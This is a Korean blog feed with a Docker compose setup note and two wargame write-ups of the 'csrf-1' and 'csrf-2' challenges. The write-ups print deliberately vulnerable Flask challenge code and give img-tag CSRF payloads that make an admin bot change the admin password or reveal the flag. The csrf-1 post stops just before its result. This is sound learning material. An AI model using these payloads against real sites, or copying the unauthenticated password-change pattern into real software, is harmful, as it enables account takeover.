&lt;pre id=&quot;code_1781666359594&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;services:
  web_study:
    build: .
    container_name: web_study
    ports:
      - &quot;31337:31337&quot;
      - &quot;31338:31338&quot;
      - &quot;31339:31339&quot;
      - &quot;8000:8000&quot;
    volumes:
      - .:/home/flask-app
    workin_dir: /home/flask-app
    stdin_open: true
    tty: true
    command: sleep infinity&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 작성하는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른점은 &lt;b&gt;command: sleep infinity&lt;/b&gt; 부분 -&amp;gt; 컨테어너가 바로 꺼지지 않고 계속 살아있게 하는 명령&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 명령어&lt;/p&gt;
&lt;pre id=&quot;code_1781672098249&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker compose up -d --build        --&amp;gt; 컨테이너 빌드

docker compose start        -&amp;gt; 컨테이너 시작
docker exec -it web_study bash   -&amp;gt; web_study이름의 컨테이너에 들어가기

exit    -&amp;gt; 컨테이너에서 나오기

docker compose stop   -&amp;gt; 컨테이너 끄기&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;일회성 컨테이너(one-off container)&lt;/b&gt;는 필요할 때마다 compose.yaml 설계도 보고 새 컨테이너 하나씩 찍어내는 것,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서비스 컨테이너(service container)&lt;/b&gt;는 compose.yaml 설계도대로 컨테이너를 하나 만들어두고 그걸 계속 stop/start 하면서 쓰는 것&lt;/p&gt;</description>
      <category>web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/29</guid>
      <comments>https://m4ruru.tistory.com/29#entry29comment</comments>
      <pubDate>Wed, 17 Jun 2026 14:02:06 +0900</pubDate>
    </item>
    <item>
      <title>csrf-2</title>
      <link>https://m4ruru.tistory.com/28</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPyiWb/dJMcabYMZbd/SsxQfKFKho8eV89FmPbcV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPyiWb/dJMcabYMZbd/SsxQfKFKho8eV89FmPbcV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPyiWb/dJMcabYMZbd/SsxQfKFKho8eV89FmPbcV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPyiWb%2FdJMcabYMZbd%2FSsxQfKFKho8eV89FmPbcV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1238&quot; height=&quot;218&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;csrf-1에 이어 csfr-2 문제를 풀었다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제코드를 먼저 보면,&lt;/p&gt;
&lt;pre id=&quot;code_1780644836378&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

CHROMIUM_BIN = os.environ.get(&quot;CHROMIUM_BIN&quot;, &quot;/usr/bin/chromium&quot;)
CHROMEDRIVER_PATH = os.environ.get(&quot;CHROMEDRIVER_PATH&quot;, &quot;/usr/bin/chromedriver&quot;)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()
except:
    FLAG = &quot;[**FLAG**]&quot;

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}

def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    driver = None
    try:
        options = webdriver.ChromeOptions()
        options.binary_location = CHROMIUM_BIN
        for argument in [
            &quot;--headless&quot;,
            &quot;--window-size=1920,1080&quot;,
            &quot;--disable-gpu&quot;,
            &quot;--no-sandbox&quot;,
            &quot;--disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(argument)
        service = Service(executable_path=CHROMEDRIVER_PATH)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        return False
    finally:
        if driver is not None:
            driver.quit()
    return True


def check_csrf(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)


@app.route(&quot;/&quot;)
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not an admin&quot;}')


@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param


@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;, &quot;&quot;)
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {&quot;name&quot;:&quot;sessionid&quot;, &quot;value&quot;: session_id}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


@app.route(&quot;/change_password&quot;)
def change_password():
    pw = request.args.get(&quot;pw&quot;, &quot;&quot;)
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, 코드를 보면&lt;/p&gt;
&lt;pre id=&quot;code_1780646252151&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user의 정보와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 세션 보관함이 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 현재 admin의 password가 FLAG로 되어있어, 문제를 풀기위해 admin의 비밀번호에 대해 봐야할 것 같다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read_url 함수를 보면 앞에 문제들과 같은 원리로 셀리늄 자동 봇이 돌아간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, index페이지를 보면&lt;/p&gt;
&lt;pre id=&quot;code_1780646643546&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/&quot;)
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not an admin&quot;}')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username == &quot;admin&quot;일때 flag를 알려준다.\&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username은,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저에 저장된 쿠키의 sessionid값을 가져오고 이걸 세션스토리지에서 보고 해당하는 값을 가져오는 걸로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼, admin 세션은 어디서 언제 set?&lt;/p&gt;
&lt;pre id=&quot;code_1780647429982&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;, &quot;&quot;)
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {&quot;name&quot;:&quot;sessionid&quot;, &quot;value&quot;: session_id}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag를 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POST요청 시&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청에서 param 값을 가져오고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;session_id도 랜덤값으로 생성해 이값을 admin의 세션으로 스토리지에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 해당 세션값을 쿠키로 check_csrf에 넘겨주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;check_csrf에서는&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1780647940296&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def check_csrf(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read_url로 반환하고 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/vuln은 보면 앞에 문제들과 마찬가지로&lt;/p&gt;
&lt;pre id=&quot;code_1780648378926&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss필터링은 걸려있지만 요청에 param값을 별다른 필터없이 반환하고 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 페이지의 취약한 점을 이용해 param값을 조작하면 admin의 password를 알아내거나, 조작할 수 있을 것이고,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/change_password를 보면&lt;/p&gt;
&lt;pre id=&quot;code_1780648513948&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/change_password&quot;)
def change_password():
    pw = request.args.get(&quot;pw&quot;, &quot;&quot;)
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pw값을 요청 쿼리의 pw라는 이름의 값을 그대로 가져오고있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동시에 브라우저에 저장된 세션도 가져오면서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username은 해당 세션에 대한 값으로 설정하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 해당 username의 password를 pw값으로 변경하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼, 위 코드들을 종합해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 /vuln의 param값이 그대로 반환되는 취약점과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag에서 POST요청을 하면 admin세션이 발행된다는 점, check_csrf로 이값이 넘어간다는 점을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag에서 param 값에 &lt;b&gt;&amp;lt;img src = &quot;/change_password?pw=1234&quot;&amp;gt;&lt;/b&gt;이런식으로 값을 넣는다면,&amp;nbsp;&lt;br /&gt;admin의 password를 내가 입력한 pw값으로 조작이 가능하고, login을 할 수 있어진다,,!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IPlJz/dJMcai4z3nr/1qF39KchM8YZI14uiJlia0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IPlJz/dJMcai4z3nr/1qF39KchM8YZI14uiJlia0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IPlJz/dJMcai4z3nr/1qF39KchM8YZI14uiJlia0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIPlJz%2FdJMcai4z3nr%2F1qF39KchM8YZI14uiJlia0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;802&quot; height=&quot;307&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OpZqe/dJMcadCargJ/L35uapmOPKg5UUXIIG2lSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OpZqe/dJMcadCargJ/L35uapmOPKg5UUXIIG2lSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OpZqe/dJMcadCargJ/L35uapmOPKg5UUXIIG2lSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOpZqe%2FdJMcadCargJ%2FL35uapmOPKg5UUXIIG2lSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;296&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 도출했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정리를 해보면,&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- /vuln이 사용자가 넣은 parma값을 html에 그대로 반환하는 취약점을 이용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 위 취약점을 이용해 &amp;lt;img src=&quot;change_password?pw=1234&amp;gt;태그를 삽입&lt;br /&gt;- /flag에서 생성된 admin 세션을 가진 셀리늄봇이 /vuln페이지를 방문하고&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- admin세션을 가진 봇이 pw조작 요청을 자동으로 보내면서 admin세션도 같이 전송할 것이고, 그럼 서버가 admin사용자로 인식해 password조작이 가능해진다,,!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 admin 세션을 가진 셀리늄 봇에게 비밀번호 변경 요청을 대신 보내게 만드는 &lt;b&gt;csrf&lt;/b&gt;에 대한 문제,,!&lt;/p&gt;</description>
      <category>워게임/web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/28</guid>
      <comments>https://m4ruru.tistory.com/28#entry28comment</comments>
      <pubDate>Fri, 5 Jun 2026 17:55:12 +0900</pubDate>
    </item>
    <item>
      <title>csrf-1</title>
      <link>https://m4ruru.tistory.com/27</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m7HhA/dJMcaa6DHJM/JvlC8jv0R8eNKtcE4Con51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m7HhA/dJMcaa6DHJM/JvlC8jv0R8eNKtcE4Con51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m7HhA/dJMcaa6DHJM/JvlC8jv0R8eNKtcE4Con51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm7HhA%2FdJMcaa6DHJM%2FJvlC8jv0R8eNKtcE4Con51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1251&quot; height=&quot;277&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF에 대해 제대로 이해했으면, 쉽게 풀 수 있는 기본문제다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, 문제 코드부터 살펴보면,&lt;/p&gt;
&lt;pre id=&quot;code_1780574632794&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()
except:
    FLAG = &quot;[**FLAG**]&quot;


def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        service = Service(executable_path=&quot;/usr/local/bin/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        for arg in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)


@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;)


@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param


@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;, &quot;&quot;)
        if not check_csrf(param):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


memo_text = &quot;&quot;


@app.route(&quot;/memo&quot;)
def memo():
    global memo_text
    text = request.args.get(&quot;memo&quot;, None)
    if text:
        memo_text += text
    return render_template(&quot;memo.html&quot;, memo=memo_text)


@app.route(&quot;/admin/notice_flag&quot;)
def admin_notice_flag():
    global memo_text
    if request.remote_addr != &quot;127.0.0.1&quot;:
        return &quot;Access Denied&quot;
    if request.args.get(&quot;userid&quot;, &quot;&quot;) != &quot;admin&quot;:
        return &quot;Access Denied 2&quot;
    memo_text += f&quot;[Notice] flag is {FLAG}\n&quot;
    return &quot;Ok&quot;


app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read_url 함수는 이전 xss문제들에서와 동일하게 url과 쿠키를 받아서 동작을 자동으로 수행해주는 봇에 대한 함수이고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #f3c000;&quot;&gt;문제의 핵심&lt;/span&gt;은&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 마지막에 있는 함수인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;admin_notice_flag()&lt;/b&gt; 인걸로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 살펴보면&lt;/p&gt;
&lt;pre id=&quot;code_1780574831589&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/admin/notice_flag&quot;)
def admin_notice_flag():
    global memo_text
    if request.remote_addr != &quot;127.0.0.1&quot;:
        return &quot;Access Denied&quot;
    if request.args.get(&quot;userid&quot;, &quot;&quot;) != &quot;admin&quot;:
        return &quot;Access Denied 2&quot;
    memo_text += f&quot;[Notice] flag is {FLAG}\n&quot;
    return &quot;Ok&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;127.0.0.1 (로컬호스트)&lt;/span&gt;를 사용하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;userid = admin&lt;/span&gt;이면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;memo_text에 [Notice] flag is {flag}&lt;/span&gt; 를 기록하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로, read_url을 보면 127.0.0.1(로컬호스트)를 사용하고 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;userid 같은 경우에는 사실상 &lt;span style=&quot;color: #ee2323;&quot;&gt;어떤 부가적인 인증없이&lt;/span&gt; userid 값이 admin이면 되는 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 /vuln 부분을 보면 xss 필터링이 걸려있지만, 3개의 태그에 대해 한정적이기에 이 문제에 대해서는 큰 영향력?이 있다고 할 수 없을 거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 /admin/notice_flag 로 돌아가서 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순하게 userid=admin이면 될 것 같아 보이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이걸 어떻게 보낼 수 있을까? 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;request.args.get 으로 url파라미터의 인자에서 이름이 userid인 것의 값이 admin이면 되니까,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url을 사용해서 파라미터에 userid=admin을 담아 요청을 보내면 될 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 필터링에 걸리지 않는 img src를 이용해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt;img src=&quot;http://127.0.0.1:8000/admin/notice_flag?userid=admin&quot;&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청을 전송해주면,,?&lt;/p&gt;
